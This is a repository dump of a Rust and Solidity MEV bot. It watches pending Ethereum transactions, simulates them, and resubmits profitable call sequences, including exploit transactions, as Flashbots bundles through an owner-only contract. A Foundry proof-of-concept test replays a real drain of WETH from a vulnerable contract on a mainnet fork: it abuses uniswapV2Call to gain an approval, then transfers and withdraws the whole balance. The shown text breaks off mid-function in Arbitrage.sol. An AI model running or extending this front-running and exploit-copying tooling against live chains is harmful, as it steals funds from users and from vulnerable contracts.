├── src ├── lib.rs ├── utils │ ├── simulate │ │ ├── strategy │ │ │ ├── mod.rs │ │ │ ├── flashloan.rs │ │ │ └── transfer.rs │ │ └── state │ │ │ ├── mod.rs │ │ │ ├── token.rs │ │ │ ├── base.rs │ │ │ └── eth.rs │ ├── mod.rs │ ├── listen.rs │ ├── base.rs │ ├── flashbot.rs │ ├── contract.rs │ └── simulate.rs └── bin │ └── frontrun.rs ├── remappings.txt ├── foundry.toml ├── .vscode └── settings.json ├── .gitmodules ├── .gitignore ├── script └── Arbitrage.s.sol ├── Cargo.toml ├── .github └── workflows │ └── test.yml ├── tests ├── t_16384470.rs ├── t_bnb.rs └── t_16298449.rs ├── test ├── poc │ ├── 20221230_Loan.t.sol │ ├── 20221229_JAY.t.sol │ ├── 20221212_BGLD.t.sol │ └── NotFlationToken.t.sol └── Arbitrage.t.sol ├── contract └── Arbitrage.sol └── Cargo.lock /src/lib.rs: -------------------------------------------------------------------------------- 1 | pub mod utils; 2 | -------------------------------------------------------------------------------- /src/utils/simulate/strategy/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod flashloan; 2 | pub mod transfer; 3 | -------------------------------------------------------------------------------- /src/utils/simulate/state/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod base; 2 | pub mod eth; 3 | pub mod token; 4 | -------------------------------------------------------------------------------- /remappings.txt: -------------------------------------------------------------------------------- 1 | ds-test/=lib/forge-std/lib/ds-test/src/ 2 | forge-std/=lib/forge-std/src/ 3 | solmate/=lib/solmate/src/ 4 | contract/=contract/ 5 | -------------------------------------------------------------------------------- /foundry.toml: -------------------------------------------------------------------------------- 1 | [profile.default] 2 | src = 'contract' 3 | out = 'out' 4 | libs = ['lib'] 5 | 6 | # See more config options https://github.com/foundry-rs/foundry/tree/master/config -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "editor.formatOnSave": true, 3 | "[solidity]": { 4 | "editor.defaultFormatter": "JuanBlanco.solidity" 5 | }, 6 | "solidity.formatter": "forge", 7 | } -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "lib/forge-std"] 2 | path = lib/forge-std 3 | url = https://github.com/foundry-rs/forge-std 4 | [submodule "lib/solmate"] 5 | path = lib/solmate 6 | url = https://github.com/transmissions11/solmate 7 | -------------------------------------------------------------------------------- /src/utils/mod.rs: -------------------------------------------------------------------------------- 1 | mod base; 2 | mod contract; 3 | mod flashbot; 4 | mod listen; 5 | mod simulate; 6 | 7 | pub use base::*; 8 | pub use contract::*; 9 | pub use flashbot::*; 10 | pub use listen::*; 11 | pub use simulate::*; 12 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiler files 2 | cache/ 3 | out/ 4 | output/ 5 | broadcast/ 6 | lcov.info 7 | 8 | # rust target 9 | /target 10 | 11 | # Ignores development broadcast logs 12 | !/broadcast 13 | /broadcast/*/31337/ 14 | /broadcast/**/dry-run/ 15 | 16 | # Dotenv file 17 | .env 18 | -------------------------------------------------------------------------------- /script/Arbitrage.s.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: AGPL-3.0-only 2 | pragma solidity ^0.8.13; 3 | 4 | import "forge-std/Script.sol"; 5 | 6 | contract ArbitrageScript is Script { 7 | function setUp() public {} 8 | 9 | function run() public { 10 | vm.broadcast(); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /src/utils/simulate/strategy/flashloan.rs: -------------------------------------------------------------------------------- 1 | use ethers::prelude::*; 2 | 3 | // The `flashloan` function simulate basically fails (callback interface / calldata format). 4 | // What we expect to simulate is subtrace, so you have to prepare funds yourself firstly. 5 | pub fn run(_tx: &Transaction) -> bool { 6 | true 7 | } 8 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "arbitrage" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | ethers={ version = "1.0.2", features = ["ws", "rustls", "legacy"] } 10 | cfmms={ git = "https://github.com/0xKitsune/cfmms-rs" } 11 | ethers-flashbots = { version = "0.12.1" } 12 | dotenv = { version = "0.15.0" } 13 | tokio = "1.22.0" 14 | url = "2.3.1" 15 | async-trait = "0.1.64" 16 | futures = "0.3.26" 17 | -------------------------------------------------------------------------------- /.github/workflows/test.yml: -------------------------------------------------------------------------------- 1 | name: test 2 | 3 | on: workflow_dispatch 4 | 5 | env: 6 | FOUNDRY_PROFILE: ci 7 | 8 | jobs: 9 | check: 10 | strategy: 11 | fail-fast: true 12 | 13 | name: Foundry project 14 | runs-on: ubuntu-latest 15 | steps: 16 | - uses: actions/checkout@v3 17 | with: 18 | submodules: recursive 19 | 20 | - name: Install Foundry 21 | uses: foundry-rs/foundry-toolchain@v1 22 | with: 23 | version: nightly 24 | 25 | - name: Run Forge build 26 | run: | 27 | forge --version 28 | forge build --sizes 29 | id: build 30 | 31 | - name: Run Forge tests 32 | run: | 33 | forge test -vvv 34 | id: test 35 | -------------------------------------------------------------------------------- /src/utils/simulate/state/token.rs: -------------------------------------------------------------------------------- 1 | use super::base::AnalyzeState; 2 | use crate::utils::SimulateTrace; 3 | use async_trait::async_trait; 4 | use ethers::prelude::*; 5 | use std::error::Error; 6 | 7 | // @dev Analyze whether the contract token (erc20, erc223, erc777, etc.) is profitable 8 | // @return The profit convert to native token 9 | pub struct AnalyzeToken; 10 | 11 | #[async_trait] 12 | impl<'a, M, S> AnalyzeState<'a, M, S> for AnalyzeToken { 13 | async fn init(client: &'a SignerMiddleware) -> Result> { 14 | Ok(Self) 15 | } 16 | 17 | async fn run( 18 | &self, 19 | tx: &Transaction, 20 | trace: &SimulateTrace, 21 | ) -> Result, Box> { 22 | Ok(None) 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /src/utils/listen.rs: -------------------------------------------------------------------------------- 1 | use ethers::prelude::*; 2 | use std::future::Future; 3 | 4 | pub struct ListenPool { 5 | wss_provider: Provider, 6 | max_concurrent: Option, 7 | } 8 | 9 | impl ListenPool { 10 | pub async fn init(wss_url: &str, max_concurrent: Option) -> Self { 11 | Self { 12 | wss_provider: Provider::::connect(wss_url) 13 | .await 14 | .expect("Websocket connect error"), 15 | max_concurrent, 16 | } 17 | } 18 | 19 | pub async fn run, F: FnMut(TxHash) -> Fut>(&self, handle: F) { 20 | self.wss_provider 21 | .subscribe_pending_txs() 22 | .await 23 | .expect("Subscribe pending txs error") 24 | .for_each_concurrent(self.max_concurrent, handle) 25 | .await; 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /src/utils/base.rs: -------------------------------------------------------------------------------- 1 | use ethers::prelude::*; 2 | use ethers::utils::format_units; 3 | use std::env; 4 | use std::future::Future; 5 | 6 | pub fn get_env(name: &str) -> String { 7 | env::var(name).expect(&format!("Expect environment variable <{}>", name)) 8 | } 9 | 10 | pub async fn log_profit, F: FnOnce() -> Fut>( 11 | client: &SignerMiddleware, 12 | address: Address, 13 | tx_hash: TxHash, 14 | profit: U256, 15 | handle: F, 16 | ) { 17 | println!("\n--------------- Simulate {tx_hash:?} ---------------"); 18 | let balance_before = client.get_balance(address, None).await.unwrap(); 19 | handle().await; 20 | let balance_after = client.get_balance(address, None).await.unwrap(); 21 | 22 | let profit = format_units(profit, "eth").unwrap(); 23 | let balance_diff = format_units(balance_after - balance_before, "eth").unwrap(); 24 | let balance_before = format_units(balance_before, "eth").unwrap(); 25 | let balance_after = format_units(balance_after, "eth").unwrap(); 26 | 27 | println!(""); 28 | println!("Address: {address:?}"); 29 | println!("Expected profit: {profit:.6} eth"); 30 | println!("Balance before: {balance_before:.6} eth"); 31 | println!("Balance after: {balance_after:.6} eth"); 32 | println!("Balance diff: {balance_diff:.6} eth"); 33 | println!("----------------{:-^75}----------------\n", ""); 34 | } 35 | -------------------------------------------------------------------------------- /tests/t_16384470.rs: -------------------------------------------------------------------------------- 1 | use arbitrage::utils::*; 2 | use dotenv::dotenv; 3 | use ethers::{prelude::*, utils::Anvil}; 4 | 5 | #[tokio::test] 6 | async fn t_16384470() { 7 | dotenv().ok(); 8 | const HTTP_RPC_URL: &str = "https://rpc.ankr.com/eth"; 9 | const CHAIN_ID: u64 = 1; 10 | const BLOCK_NUMBER: u32 = 16384470; 11 | const TX_HASH: &str = "0x927b784148b60d5233e57287671cdf67d38e3e69e5b6d0ecacc7c1aeaa98985b"; 12 | 13 | let anvil = Anvil::new() 14 | .chain_id(CHAIN_ID) 15 | .port(8545_u16) 16 | .fork(HTTP_RPC_URL) 17 | .fork_block_number(BLOCK_NUMBER - 1) 18 | .timeout(20000_000_u64) 19 | .spawn(); 20 | let wallet: LocalWallet = anvil.keys()[0].clone().into(); 21 | let wallet = wallet.with_chain_id(CHAIN_ID); 22 | let anvil_provider = Provider::::connect(&anvil.endpoint()).await; 23 | let anvil_client = SignerMiddleware::new(anvil_provider, wallet.clone()); 24 | let arbitrage = ArbitrageUtil::deploy(&anvil_client).await.unwrap(); 25 | 26 | let provider = Provider::::connect(HTTP_RPC_URL).await; 27 | let client = SignerMiddleware::new(provider, wallet.clone()); 28 | let simulate = Simulate::init(&client, Some(arbitrage.address())) 29 | .await 30 | .unwrap(); 31 | let tx_hash = TX_HASH.parse::().unwrap(); 32 | 33 | // Unable to detect contract creation and arbitrage in the same block 34 | assert_eq!(simulate.run(tx_hash, true).await.unwrap(), None); 35 | } 36 | -------------------------------------------------------------------------------- /tests/t_bnb.rs: -------------------------------------------------------------------------------- 1 | use arbitrage::utils::*; 2 | use dotenv::dotenv; 3 | use ethers::{prelude::*, utils::Anvil}; 4 | 5 | #[tokio::test] 6 | #[should_panic(expected = "the method trace_call does not exist/is not available")] 7 | async fn t_bnb() { 8 | dotenv().ok(); 9 | const HTTP_RPC_URL: &str = "https://rpc.ankr.com/bsc"; 10 | const CHAIN_ID: u64 = 56; 11 | const BLOCK_NUMBER: u32 = 23844530; 12 | const TX_HASH: &str = "0xea108fe94bfc9a71bb3e4dee4a1b0fd47572e6ad6aba8b2155ac44861be628ae"; 13 | 14 | let anvil = Anvil::new() 15 | .chain_id(CHAIN_ID) 16 | .port(8545_u16) 17 | .fork(HTTP_RPC_URL) 18 | .fork_block_number(BLOCK_NUMBER - 1) 19 | .timeout(20000_000_u64) 20 | .spawn(); 21 | 22 | let wallet: LocalWallet = anvil.keys()[0].clone().into(); 23 | let wallet = wallet.with_chain_id(CHAIN_ID); 24 | let anvil_provider = Provider::::connect(&anvil.endpoint()).await; 25 | let anvil_client = SignerMiddleware::new(anvil_provider, wallet.clone()); 26 | let arbitrage = ArbitrageUtil::deploy(&anvil_client).await.unwrap(); 27 | 28 | let provider = Provider::::connect(HTTP_RPC_URL).await; 29 | let client = SignerMiddleware::new(provider, wallet.clone()); 30 | let simulate = Simulate::init(&client, Some(arbitrage.address())) 31 | .await 32 | .unwrap(); 33 | let tx_hash = TX_HASH.parse::().unwrap(); 34 | 35 | // bnb forked at geth, does not support trace_call 36 | simulate.run(tx_hash, true).await.unwrap().unwrap(); 37 | } 38 | -------------------------------------------------------------------------------- /src/utils/simulate/state/base.rs: -------------------------------------------------------------------------------- 1 | use crate::utils::SimulateTrace; 2 | use async_trait::async_trait; 3 | use ethers::prelude::*; 4 | use std::error::Error; 5 | 6 | #[async_trait] 7 | pub trait AnalyzeState<'a, M, S> { 8 | async fn init(client: &'a SignerMiddleware) -> Result> 9 | where 10 | Self: Sized; 11 | 12 | async fn run( 13 | &self, 14 | tx: &Transaction, 15 | trace: &SimulateTrace, 16 | ) -> Result, Box>; 17 | } 18 | 19 | #[derive(Default, Debug)] 20 | pub struct DiffAnalysis { 21 | pub increase_balance: bool, 22 | pub balance_diff: U256, 23 | pub invalid_nonce: bool, 24 | } 25 | 26 | impl DiffAnalysis { 27 | pub fn init(diff: &AccountDiff, nonce: Option) -> Self { 28 | let mut increase_balance = false; 29 | let mut balance_diff = U256::zero(); 30 | 31 | if let Diff::Changed(ChangedType { from, to }) = diff.balance { 32 | increase_balance = to > from; 33 | balance_diff = from.abs_diff(to); 34 | } 35 | 36 | Self { 37 | increase_balance, 38 | balance_diff, 39 | // The difference means that the tx is invalid, such as being included in the block, canceled by other txs, etc. 40 | // The difference will also cause an exception balance diff (unclear why) 41 | invalid_nonce: match diff.nonce { 42 | Diff::Changed(ChangedType { from, to: _ }) if from != nonce.unwrap_or(from) => true, 43 | _ => false, 44 | }, 45 | } 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/utils/simulate/state/eth.rs: -------------------------------------------------------------------------------- 1 | use super::base::{AnalyzeState, DiffAnalysis}; 2 | use crate::utils::SimulateTrace; 3 | use async_trait::async_trait; 4 | use ethers::prelude::*; 5 | use std::error::Error; 6 | 7 | // Analyze whether the native token is profitable. 8 | pub struct AnalyzeEth; 9 | 10 | #[async_trait] 11 | impl<'a, M, S> AnalyzeState<'a, M, S> for AnalyzeEth { 12 | async fn init(_client: &'a SignerMiddleware) -> Result> { 13 | Ok(Self) 14 | } 15 | 16 | async fn run( 17 | &self, 18 | tx: &Transaction, 19 | trace: &SimulateTrace, 20 | ) -> Result, Box> { 21 | let mut profit = U256::zero(); 22 | 23 | if let Some(state_diff) = &trace.state_diff { 24 | if let Some(account_diff) = state_diff.0.get(&tx.from) { 25 | let from_account_diff = DiffAnalysis::init(account_diff, Some(tx.nonce)); 26 | if from_account_diff.increase_balance && !from_account_diff.invalid_nonce { 27 | profit += from_account_diff.balance_diff; 28 | }; 29 | 30 | if let Some(to) = tx.to { 31 | if let Some(account_diff) = state_diff.0.get(&to) { 32 | let to_account_diff = DiffAnalysis::init(account_diff, None); 33 | if to_account_diff.increase_balance 34 | && !to_account_diff.invalid_nonce 35 | && to_account_diff.balance_diff > from_account_diff.balance_diff 36 | { 37 | profit += to_account_diff.balance_diff; 38 | }; 39 | } 40 | } 41 | } 42 | } 43 | 44 | if profit.is_zero() { 45 | Ok(None) 46 | } else { 47 | Ok(Some(profit)) 48 | } 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /src/utils/simulate/strategy/transfer.rs: -------------------------------------------------------------------------------- 1 | use ethers::prelude::*; 2 | 3 | // Only filter native token transfer tx. 4 | // Won't filter the contract token,because contracts such as erc777 may have exploitable vulnerability. 5 | pub fn run(tx: &Transaction) -> bool { 6 | !tx.input.is_empty() 7 | } 8 | 9 | #[cfg(test)] 10 | mod tests { 11 | use super::run as pass_transfer_check; 12 | use ethers::{ 13 | core::rand::thread_rng, 14 | prelude::*, 15 | types::transaction::eip2718::TypedTransaction, 16 | utils::{ 17 | parse_ether, 18 | rlp::{self, Decodable}, 19 | }, 20 | }; 21 | use std::sync::Arc; 22 | 23 | abigen!(ERC20Token, "out/Arbitrage.sol/IERC20.json"); 24 | 25 | #[tokio::test] 26 | async fn filter_transfer_tx() { 27 | let wallet = LocalWallet::new(&mut thread_rng()); 28 | let tx: TypedTransaction = 29 | TransactionRequest::pay(Address::zero(), parse_ether(1).unwrap()).into(); 30 | let signature = wallet.sign_transaction(&tx).await.unwrap(); 31 | 32 | let rlp_vec = tx.rlp_signed(&signature).to_vec(); 33 | let expected_rlp = rlp::Rlp::new(&rlp_vec); 34 | let tx = Transaction::decode(&expected_rlp).unwrap(); 35 | 36 | assert!(pass_transfer_check(&tx) == false); 37 | } 38 | 39 | #[tokio::test] 40 | async fn not_filter_contract_transfer_tx() { 41 | let provider = Provider::::connect("http://localhost:8545").await; 42 | let token = ERC20Token::new(Address::zero(), Arc::new(provider)); 43 | let wallet = LocalWallet::new(&mut thread_rng()); 44 | let tx = token.transfer(Address::random(), U256::zero()).tx; 45 | let signature = wallet.sign_transaction(&tx).await.unwrap(); 46 | 47 | let rlp_vec = tx.rlp_signed(&signature).to_vec(); 48 | let expected_rlp = rlp::Rlp::new(&rlp_vec); 49 | let tx = Transaction::decode(&expected_rlp).unwrap(); 50 | 51 | assert!(pass_transfer_check(&tx) == true); 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /src/bin/frontrun.rs: -------------------------------------------------------------------------------- 1 | use arbitrage::utils::*; 2 | use dotenv::dotenv; 3 | use ethers::prelude::*; 4 | 5 | #[tokio::main] 6 | async fn main() { 7 | dotenv().ok(); 8 | let http_url = get_env("HTTP_RPC_URL"); 9 | let wss_url = get_env("WSS_RPC_URL"); 10 | let chain_id = get_env("CHAIN_ID").parse::().unwrap_or(1); 11 | let contract = get_env("CONTRACT").parse::
().unwrap(); 12 | let private_key = get_env("PRIVATE_KEY").replace("0x", ""); 13 | 14 | let provider = Provider::::connect(&http_url).await; 15 | let wallet = private_key 16 | .parse::() 17 | .unwrap() 18 | .with_chain_id(chain_id); 19 | let flashbot = FlashBotUtil::init(provider, wallet).unwrap(); 20 | 21 | let arbitrage = ArbitrageUtil::init(&flashbot, contract); 22 | let simulate = Simulate::init(&flashbot, Some(arbitrage.address())) 23 | .await 24 | .unwrap(); 25 | let listen_poll = ListenPool::init(&wss_url, Some(1)).await; 26 | 27 | listen_poll 28 | .run(|tx_hash| { 29 | let simulate = &simulate; 30 | let flashbot = &flashbot; 31 | let arbitrage = &arbitrage; 32 | return async move { 33 | let tx_hash = tx_hash.clone(); 34 | if let Ok(Some((tx_queue, profit))) = simulate.run(tx_hash, false).await { 35 | log_profit(flashbot, arbitrage.address(), tx_hash, profit, || async { 36 | for tx_list in tx_queue { 37 | // Without priority fee, all simulations will fail 38 | if let Ok(tx) = arbitrage.to_tx(tx_list, true, None).await { 39 | let _ = flashbot 40 | .run(vec![tx]) 41 | .await 42 | .map(|hash| println!("Transaction hash: {hash:#?}")); 43 | } 44 | } 45 | }) 46 | .await; 47 | }; 48 | }; 49 | }) 50 | .await; 51 | } 52 | -------------------------------------------------------------------------------- /test/poc/20221230_Loan.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: AGPL-3.0-only 2 | pragma solidity ^0.8.13; 3 | 4 | import "forge-std/Test.sol"; 5 | import "contract/Arbitrage.sol"; 6 | 7 | contract LoanPocTest is Test { 8 | Arbitrage public arbitrage; 9 | address public exploit; 10 | address public weth; 11 | 12 | function setUp() public { 13 | // 0xebd365fa18a866508624b2eba9e90725d1e73490f080c5406a344cd0db14f62a 14 | vm.createSelectFork("https://rpc.ankr.com/eth", 16298448); 15 | arbitrage = new Arbitrage(); 16 | exploit = 0x15D9Cddacc976FcE114A6fc824a155C163c782D9; 17 | weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 18 | } 19 | 20 | function testPocLoan() public { 21 | uint256 balance_before = address(this).balance; 22 | uint256 exploit_amount = IERC20(weth).balanceOf(exploit); 23 | 24 | // exploitData 25 | address[] memory exploitData0 = new address[](1); 26 | bytes[] memory exploitData1 = new bytes[](1); 27 | exploitData0[0] = weth; 28 | exploitData1[0] = abi.encodeWithSignature("approve(address,uint256)", address(arbitrage), -1); 29 | 30 | // approve weth 31 | bytes[] memory payloads = new bytes[](3); 32 | payloads[0] = abi.encode( 33 | exploit, 34 | 0, 35 | abi.encodeWithSignature( 36 | "uniswapV2Call(address,uint256,uint256,bytes)", 37 | address(this), 38 | 0, 39 | 0, 40 | abi.encode(exploitData0, exploitData1) 41 | ) 42 | ); 43 | // transfer weth 44 | payloads[1] = abi.encode( 45 | weth, 46 | 0, 47 | abi.encodeWithSignature( 48 | "transferFrom(address,address,uint256)", exploit, address(arbitrage), exploit_amount 49 | ) 50 | ); 51 | // withdraw weth 52 | payloads[2] = abi.encode(weth, 0, abi.encodeWithSignature("withdraw(uint256)", exploit_amount)); 53 | 54 | // exploit 55 | arbitrage.run(abi.encode(blockhash(block.number - 1), 0, payloads)); 56 | arbitrage.withdraw(); 57 | console.log("Income:", address(this).balance - balance_before); 58 | } 59 | 60 | receive() external payable {} 61 | } 62 | -------------------------------------------------------------------------------- /src/utils/flashbot.rs: -------------------------------------------------------------------------------- 1 | use ethers::core::rand::thread_rng; 2 | use ethers::prelude::*; 3 | use ethers::types::transaction::eip2718::TypedTransaction; 4 | use ethers_flashbots::*; 5 | use std::error::Error; 6 | use std::ops::Deref; 7 | use url::Url; 8 | 9 | type Singer = SignerMiddleware, LocalWallet>, LocalWallet>; 10 | 11 | pub struct FlashBotUtil { 12 | pub inner: Singer, 13 | } 14 | 15 | impl Deref for FlashBotUtil { 16 | type Target = Singer; 17 | 18 | fn deref(&self) -> &Self::Target { 19 | &self.inner 20 | } 21 | } 22 | 23 | impl FlashBotUtil { 24 | pub fn init(provider: Provider, wallet: LocalWallet) -> Option { 25 | if let Some(endpoint) = match wallet.chain_id() { 26 | 1 => Some("https://relay.flashbots.net"), 27 | 5 => Some("https://relay-goerli.flashbots.net"), 28 | _ => None, 29 | } { 30 | let flashbot = SignerMiddleware::new( 31 | FlashbotsMiddleware::new( 32 | provider, 33 | Url::parse(endpoint).unwrap(), 34 | LocalWallet::new(&mut thread_rng()), 35 | ), 36 | wallet, 37 | ); 38 | return Some(Self { inner: flashbot }); 39 | } 40 | 41 | None 42 | } 43 | 44 | pub async fn run>( 45 | &self, 46 | tx_list: Vec, 47 | ) -> Result> { 48 | let bundle = self.to_bundle(tx_list).await?; 49 | self.inner().simulate_bundle(&bundle).await?; 50 | Ok(self.inner().send_bundle(&bundle).await?.await?) 51 | } 52 | 53 | async fn to_bundle>( 54 | &self, 55 | tx_list: Vec, 56 | ) -> Result> { 57 | let last_block_number = self.get_block_number().await?; 58 | let mut bundle = BundleRequest::new() 59 | .set_block(last_block_number + 1) 60 | .set_simulation_block(last_block_number) 61 | .set_simulation_timestamp(0); 62 | 63 | for tx in tx_list { 64 | let mut tx: TypedTransaction = tx.into(); 65 | self.fill_transaction(&mut tx, None).await?; 66 | let signature = self.signer().sign_transaction(&tx).await?; 67 | bundle = bundle.push_transaction(tx.rlp_signed(&signature)); 68 | } 69 | 70 | Ok(bundle) 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /tests/t_16298449.rs: -------------------------------------------------------------------------------- 1 | use arbitrage::utils::*; 2 | use dotenv::dotenv; 3 | use ethers::{prelude::*, utils::Anvil}; 4 | use std::cmp; 5 | 6 | #[tokio::test] 7 | async fn t_16298449() { 8 | dotenv().ok(); 9 | const HTTP_RPC_URL: &str = "https://rpc.ankr.com/eth"; 10 | const CHAIN_ID: u64 = 1; 11 | const BLOCK_NUMBER: u32 = 16298449; 12 | const TX_HASH: &str = "0x12d867ee837cec251b067319e2802c15b01dc2e18b052b95fcd6657e19ff2a5e"; 13 | 14 | let anvil = Anvil::new() 15 | .chain_id(CHAIN_ID) 16 | .port(8545_u16) 17 | .fork(HTTP_RPC_URL) 18 | .fork_block_number(BLOCK_NUMBER - 1) 19 | .timeout(20000_000_u64) 20 | .spawn(); 21 | let wallet: LocalWallet = anvil.keys()[0].clone().into(); 22 | let wallet = wallet.with_chain_id(CHAIN_ID); 23 | let anvil_provider = Provider::::connect(&anvil.endpoint()).await; 24 | let anvil_client = SignerMiddleware::new(anvil_provider, wallet.clone()); 25 | let arbitrage = ArbitrageUtil::deploy(&anvil_client).await.unwrap(); 26 | 27 | let provider = Provider::::connect(HTTP_RPC_URL).await; 28 | let client = SignerMiddleware::new(provider, wallet.clone()); 29 | let simulate = Simulate::init(&client, Some(arbitrage.address())) 30 | .await 31 | .unwrap(); 32 | let tx_hash = TX_HASH.parse::().unwrap(); 33 | let (tx_queue, profit) = simulate.run(tx_hash, true).await.unwrap().unwrap(); 34 | log_profit( 35 | &anvil_client, 36 | arbitrage.address(), 37 | tx_hash, 38 | profit, 39 | || async { 40 | for tx_list in tx_queue { 41 | // No test for flashbot, for more detail, see: 42 | // https://github.com/foundry-rs/foundry/issues/2089 43 | if let Ok(tx) = arbitrage 44 | .to_tx( 45 | tx_list, 46 | true, 47 | Some(cmp::min(U256::from(12365048376181357_u64), profit * 7 / 10)), 48 | ) 49 | .await 50 | { 51 | let _ = anvil_client 52 | .send_transaction(tx, None) 53 | .await 54 | .map(|pending| async { 55 | println!( 56 | "Transaction receipt: {:#?}", 57 | pending.await.unwrap().unwrap() 58 | ) 59 | }); 60 | } 61 | } 62 | }, 63 | ) 64 | .await; 65 | } 66 | -------------------------------------------------------------------------------- /src/utils/contract.rs: -------------------------------------------------------------------------------- 1 | use ethers::prelude::*; 2 | use ethers::types::transaction::eip2718::TypedTransaction; 3 | use std::error::Error; 4 | use std::ops::Deref; 5 | use std::sync::Arc; 6 | 7 | abigen!(ArbitrageContract, "out/Arbitrage.sol/Arbitrage.json"); 8 | 9 | pub struct ArbitrageUtil<'a, M, S> { 10 | inner: ArbitrageContract<&'a SignerMiddleware>, 11 | client: &'a SignerMiddleware, 12 | } 13 | 14 | impl<'a, M, S> Deref for ArbitrageUtil<'a, M, S> { 15 | type Target = ArbitrageContract<&'a SignerMiddleware>; 16 | 17 | fn deref(&self) -> &Self::Target { 18 | &self.inner 19 | } 20 | } 21 | 22 | impl<'a, M: Middleware, S: Signer> ArbitrageUtil<'a, M, S> { 23 | pub fn init(client: &'a SignerMiddleware, contract: Address) -> Self { 24 | Self { 25 | inner: ArbitrageContract::new(contract, Arc::new(client)), 26 | client, 27 | } 28 | } 29 | 30 | pub async fn deploy( 31 | client: &'a SignerMiddleware, 32 | ) -> Result, Box> { 33 | Ok(Self { 34 | inner: ArbitrageContract::deploy(Arc::new(client.clone()), ())? 35 | .send() 36 | .await?, 37 | client, 38 | }) 39 | } 40 | 41 | pub async fn to_tx>( 42 | &self, 43 | tx_list: Vec, 44 | uncle_protect: bool, 45 | priority: Option, 46 | ) -> Result> { 47 | Ok(self 48 | .run(self.parse_tx_list(tx_list, uncle_protect, priority).await?) 49 | .from(self.client().address()) 50 | .tx) 51 | } 52 | 53 | async fn parse_tx_list>( 54 | &self, 55 | tx_list: Vec, 56 | uncle_protect: bool, 57 | priority: Option, 58 | ) -> Result> { 59 | let mut call_list = Vec::new(); 60 | for tx in tx_list { 61 | let tx: TypedTransaction = tx.into(); 62 | call_list.push(abi::Token::Bytes(abi::encode(&[ 63 | abi::Token::Address(*tx.to_addr().unwrap_or(&Address::zero())), 64 | abi::Token::Uint(*tx.value().unwrap_or(&U256::zero())), 65 | abi::Token::Bytes(tx.data().unwrap_or(&Bytes::from(vec![0])).to_vec()), 66 | ]))); 67 | } 68 | 69 | let block_hash = if uncle_protect { 70 | let last_block_number = self.client.get_block_number().await?; 71 | let block = self 72 | .client 73 | .get_block(last_block_number) 74 | .await? 75 | .ok_or("Get block number error")?; 76 | block.hash.unwrap() 77 | } else { 78 | TxHash::zero() 79 | }; 80 | Ok(abi::encode(&[ 81 | abi::Token::FixedBytes((*block_hash.as_fixed_bytes()).into()), 82 | abi::Token::Uint(priority.unwrap_or_default()), 83 | abi::Token::Array(call_list), 84 | ]) 85 | .into()) 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /contract/Arbitrage.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: AGPL-3.0-only 2 | pragma solidity ^0.8.13; 3 | 4 | import "solmate/auth/Owned.sol"; 5 | import "solmate/utils/SafeTransferLib.sol"; 6 | 7 | error Unauthorized(); 8 | error UncleBlock(); 9 | error SelfCall(); 10 | error SufficientIncome(); 11 | error FlashLenderCall(); 12 | error CoinbaseCall(); 13 | 14 | interface IERC20 { 15 | function balanceOf(address account) external view returns (uint256); 16 | function transfer(address recipient, uint256 amount) external returns (bool); 17 | function transferFrom(address from, address to, uint256 amount) external returns (bool); 18 | function allowance(address owner, address spender) external view returns (uint256); 19 | function approve(address spender, uint256 amount) external returns (bool); 20 | function decimals() external returns (uint8); 21 | } 22 | 23 | interface IERC3156FlashBorrower { 24 | /** 25 | * @dev Receive a flash loan. 26 | * @param initiator The initiator of the loan. 27 | * @param token The loan currency. 28 | * @param amount The amount of tokens lent. 29 | * @param fee The additional amount of tokens to repay. 30 | * @param data Arbitrary data structure, intended to contain user-defined parameters. 31 | * @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan" 32 | */ 33 | function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data) 34 | external 35 | returns (bytes32); 36 | } 37 | 38 | interface IERC3156FlashLender { 39 | /** 40 | * @dev The amount of currency available to be lent. 41 | * @param token The loan currency. 42 | * @return The amount of `token` that can be borrowed. 43 | */ 44 | function maxFlashLoan(address token) external view returns (uint256); 45 | 46 | /** 47 | * @dev The fee to be charged for a given loan. 48 | * @param token The loan currency. 49 | * @param amount The amount of tokens lent. 50 | * @return The amount of `token` to be charged for the loan, on top of the returned principal. 51 | */ 52 | function flashFee(address token, uint256 amount) external view returns (uint256); 53 | 54 | /** 55 | * @dev Initiate a flash loan. 56 | * @param receiver The receiver of the tokens in the loan, and the receiver of the callback. 57 | * @param token The loan currency. 58 | * @param amount The amount of tokens lent. 59 | * @param data Arbitrary data structure, intended to contain user-defined parameters. 60 | */ 61 | function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data) 62 | external 63 | returns (bool); 64 | } 65 | 66 | contract Arbitrage is Owned, IERC3156FlashBorrower { 67 | using SafeTransferLib for IERC20; 68 | 69 | address flashLender; 70 | 71 | constructor() Owned(msg.sender) {} 72 | 73 | modifier onlyOwner() override { 74 | if (msg.sender != owner) revert Unauthorized(); 75 | 76 | _; 77 | } 78 | 79 | function setFlashLender(address _lender) public onlyOwner { 80 | flashLender = _lender; 81 | } 82 | 83 | function run(bytes calldata data) external onlyOwner { 84 | _arbitrage(data); 85 | } 86 | 87 | function run_no_check(bytes calldata data) external onlyOwner { 88 | _exec(data); 89 | } 90 | 91 | function onFlashLoan(address, /* initiator */ address token, uint256 amount, uint256 fee, bytes calldata data) 92 | public 93 | returns (bytes32) 94 | { 95 | if 